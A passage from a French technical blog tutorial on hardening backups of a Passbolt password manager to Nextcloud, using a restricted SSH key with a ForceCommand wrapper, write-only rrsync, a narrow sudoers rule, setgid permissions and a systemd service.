<li class="">Un <strong>utilisateur Nextcloud</strong> <code>backup-passbolt</code> qui <em>possède</em> les fichiers backup dans l'interface (pour pouvoir les télécharger via le web si besoin).</li>
<li class="">Un <strong>utilisateur Linux</strong> <code>passbolt-backup</code> qui <em>reçoit</em> les fichiers via SSH+rsync.</li>
</ul>
<p>Côté Nextcloud (interface web ou commande) :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> www-data php /var/www/nextcloud/occ user:add </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    --display-name</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"Passbolt Backup"</span><span class="token plain"> backup-passbolt</span><br></div></code></pre></div></div>
<p>Côté système Linux :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># UID fixé pour éviter les conflits, home dans /var/lib</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">useradd</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">997</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-m</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-d</span><span class="token plain"> /var/lib/passbolt-backup </span><span class="token parameter variable" style="color:#36acaa">-s</span><span class="token plain"> /bin/bash passbolt-backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Ajout au groupe www-data pour que Nextcloud puisse lire ce qui est déposé</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">usermod</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-aG</span><span class="token plain"> www-data passbolt-backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Création du dossier de stockage côté Nextcloud</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">mkdir</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-p</span><span class="token plain"> /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">chown</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-R</span><span class="token plain"> passbolt-backup:www-data /var/www/nextcloud/data/backup-passbolt</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">chmod</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2770</span><span class="token plain"> /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-bit-setgid-2770-pourquoi-">Le bit setgid (<code>2770</code>), pourquoi ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-bit-setgid-2770-pourquoi-" class="hash-link" aria-label="Lien direct vers le-bit-setgid-2770-pourquoi-" title="Lien direct vers le-bit-setgid-2770-pourquoi-" translate="no">​</a></h3>
<blockquote>
<p>J'avoue avoir été heureux quand je l'ai trouvé celui-là.</p>
</blockquote>
<p>C'est un piège dans lequel je suis tombé initialement. Quand <code>passbolt-backup</code> (UID 997) dépose un fichier dans le dossier, Linux fixe par défaut le <strong>propriétaire</strong> à 997 et le <strong>groupe</strong> au groupe primaire de l'utilisateur (donc <code>passbolt-backup</code> aussi). Résultat : Nextcloud, qui tourne en <code>www-data</code>, ne peut pas lire le fichier.</p>
<p>Le bit <strong>setgid</strong> (<code>2</code> devant <code>770</code>) change ce comportement : <strong>tous les fichiers créés dans ce dossier héritent du groupe du dossier</strong>, donc <code>www-data</code>. Du coup Nextcloud peut lire, et le user <code>passbolt-backup</code> peut écrire.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ls -ld /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">drwxrws--- 2 passbolt-backup www-data 4096 May 12 03:00 Passbolt-Backups</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">       ^</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">       └── le 's' à la place du 'x' du groupe = setgid actif</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ssh-verrouillé-avec-forcecommand-et-allowlist">SSH verrouillé avec ForceCommand et allowlist<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#ssh-verrouill%C3%A9-avec-forcecommand-et-allowlist" class="hash-link" aria-label="Lien direct vers SSH verrouillé avec ForceCommand et allowlist" title="Lien direct vers SSH verrouillé avec ForceCommand et allowlist" translate="no">​</a></h3>
<p>C'est le cœur de la sécurité côté Nextcloud. Le compte <code>passbolt-backup</code> a une clé SSH, mais cette clé <strong>ne peut pas faire grand-chose</strong>.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-wrapper-forcecommandsh">Le wrapper <code>forcecommand.sh</code><a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-wrapper-forcecommandsh" class="hash-link" aria-label="Lien direct vers le-wrapper-forcecommandsh" title="Lien direct vers le-wrapper-forcecommandsh" translate="no">​</a></h4>
<p><code>/usr/local/lib/passbolt-backup/forcecommand.sh</code> (root<!-- -->:root<!-- -->, chmod 755) :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token shebang important">#!/bin/bash</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Wrapper SSH appelé via ForceCommand.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># La commande réelle envoyée par le client est dans $SSH_ORIGINAL_COMMAND.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-euo</span><span class="token plain"> pipefail</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">BACKUP_DIR</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Pas de commande = on rejette</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-z</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${SSH_ORIGINAL_COMMAND</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">then</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Aucune commande fournie. Connexion interactive interdite."</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token file-descriptor important">&amp;2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token builtin class-name">exit</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fi</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># On décompose la commande envoyée par le client</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">set</span><span class="token plain"> -- </span><span class="token variable" style="color:#36acaa">$SSH_ORIGINAL_COMMAND</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$1</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># rsync se présente avec "rsync --server ..."</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">rsync</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic"># On délègue à rrsync, qui contraint la cible au seul BACKUP_DIR</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token builtin class-name">exec</span><span class="token plain"> /usr/bin/rrsync </span><span class="token parameter variable" style="color:#36acaa">-wo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$BACKUP_DIR</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">;</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    nc-rotate</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token builtin class-name">exec</span><span class="token plain"> /usr/local/lib/passbolt-backup/rotate.sh </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${2</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">30}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">;</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    nc-scan</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token builtin class-name">exec</span><span class="token plain"> /usr/local/lib/passbolt-backup/scan.sh</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">;</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    *</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Commande non autorisée : </span><span class="token string variable" style="color:#36acaa">$*</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token file-descriptor important">&amp;2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token builtin class-name">exit</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">;</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">esac</span><br></div></code></pre></div></div>
<p>Et dans <code>~passbolt-backup/.ssh/authorized_keys</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">command="/usr/local/lib/passbolt-backup/forcecommand.sh",no-port-forwarding,no-agent-forwarding,no-X11-forwarding,no-pty ssh-ed25519 AAAA... backup-key</span><br></div></code></pre></div></div>
<p>Décortiquons ces restrictions SSH :</p>
<table><thead><tr><th>Option</th><th>Effet</th></tr></thead><tbody><tr><td><code>command="..."</code></td><td>Quelle que soit la commande envoyée par le client, c'est <code>forcecommand.sh</code> qui est exécuté (la commande originale est dans <code>$SSH_ORIGINAL_COMMAND</code>)</td></tr><tr><td><code>no-port-forwarding</code></td><td>Pas de <code>ssh -L</code> ou <code>-R</code> pour tunneler des ports</td></tr><tr><td><code>no-agent-forwarding</code></td><td>Pas de <code>ssh -A</code> pour récupérer l'agent SSH du client</td></tr><tr><td><code>no-X11-forwarding</code></td><td>Pas de <code>ssh -X</code></td></tr><tr><td><code>no-pty</code></td><td>Pas d'allocation de TTY (donc pas de shell interactif possible)</td></tr></tbody></table>
<p>Même si la clé privée est volée, l'attaquant ne peut <strong>rien faire d'autre</strong> que :</p>
<ul>
<li class="">déposer un fichier dans <code>Passbolt-Backups/</code> (via rrsync)</li>
<li class="">déclencher <code>nc-rotate</code> (qui ne fait que supprimer des fichiers de ce dossier)</li>
<li class="">déclencher <code>nc-scan</code> (qui ne fait que rafraîchir la vue Nextcloud)</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-rrsync-">Pourquoi <code>rrsync</code> ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-rrsync-" class="hash-link" aria-label="Lien direct vers pourquoi-rrsync-" title="Lien direct vers pourquoi-rrsync-" translate="no">​</a></h4>
<p><code>rrsync</code> est un wrapper officiel fourni avec <code>rsync</code> (souvent dans <code>/usr/share/doc/rsync/scripts/</code>). Il limite une session rsync à un dossier précis et permet de spécifier <code>-ro</code> (read-only), <code>-wo</code> (write-only) ou rien (les deux). Avec <code>-wo</code>, le client peut <strong>écrire mais pas lire</strong> ce qu'il y a déjà dans le dossier — donc il ne peut pas exfiltrer les anciens backups.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-scripts-rotatesh-et-scansh">Les scripts <code>rotate.sh</code> et <code>scan.sh</code><a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#les-scripts-rotatesh-et-scansh" class="hash-link" aria-label="Lien direct vers les-scripts-rotatesh-et-scansh" title="Lien direct vers les-scripts-rotatesh-et-scansh" translate="no">​</a></h4>
<p><code>rotate.sh</code> supprime les KDBX au-delà des N plus récents :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token shebang important">#!/bin/bash</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-euo</span><span class="token plain"> pipefail</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">RETENTION_COUNT</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${1</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">30}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">BACKUP_DIR</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># On trie par nom (qui contient le timestamp ISO), on garde les N derniers</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">find</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$BACKUP_DIR</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-maxdepth</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-name</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"*.kdbx"</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-type</span><span class="token plain"> f </span><span class="token parameter variable" style="color:#36acaa">-printf</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'%f\n'</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sort</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">head</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-n</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"-</span><span class="token string variable" style="color:#36acaa">$RETENTION_COUNT</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token assign-left variable environment constant" style="color:#36acaa">IFS</span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token builtin class-name">read</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> f</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">do</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">rm</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-f</span><span class="token plain"> -- </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$BACKUP_DIR</span><span class="token string" style="color:#e3116c">/</span><span class="token string variable" style="color:#36acaa">$f</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token keyword" style="color:#00009f">done</span><br></div></code></pre></div></div>
<p><code>scan.sh</code> notifie Nextcloud qu'il y a du nouveau/du moins :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token shebang important">#!/bin/bash</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> www-data php /var/www/nextcloud/occ files:scan </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--path</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"backup-passbolt/files/Passbolt-Backups/"</span><br></div></code></pre></div></div>
<p>Le <code>sudo -u www-data</code> impose une règle sudoers minimale pour <code>passbolt-backup</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain"># /etc/sudoers.d/passbolt-backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">passbolt-backup ALL=(www-data) NOPASSWD: /usr/bin/php /var/www/nextcloud/occ files:scan *</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>sudo n'est autorisé <strong>que</strong> vers <code>www-data</code>, <strong>uniquement</strong> pour cette commande précise, <strong>uniquement</strong> sur le path <code>files:scan *</code>. Pas de joker élargi.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="automatisation-avec-systemd">Automatisation avec systemd<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#automatisation-avec-systemd" class="hash-link" aria-label="Lien direct vers Automatisation avec systemd" title="Lien direct vers Automatisation avec systemd" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-service">Le service<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-service" class="hash-link" aria-label="Lien direct vers Le service" title="Lien direct vers Le service" translate="no">​</a></h3>
<p><code>/etc/systemd/system/passbolt-backup.service</code> :</p>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Unit</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Description</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">Passbolt KDBX backup to Nextcloud</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Documentation</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://blog.fracorbas.local/Sauvegarde-securise-passbolt-docker</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Requires</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">docker.service</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">After</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">docker.service network-online.target</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Wants</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">network-online.target</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Service</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Type</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">oneshot</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">WorkingDirectory</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">/opt/docker/passbolt-backup</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">ExecStart</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">/usr/bin/docker compose run --rm backup</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">TimeoutStartSec</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">600</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Restart</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">no</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">StandardOutput</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">journal</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">StandardError</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">journal</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Install</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">WantedBy</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">multi-user.target</span><br></div></code></pre></div></div>
<p>Les directives qui méritent un mot :</p>
<ul>
<li class=""><strong><code>Type=oneshot</code></strong> : le service est censé démarrer, faire son boulot, et s'arrêter. Sans <code>oneshot</code>, systemd considère que la fin du processus = échec.</li>
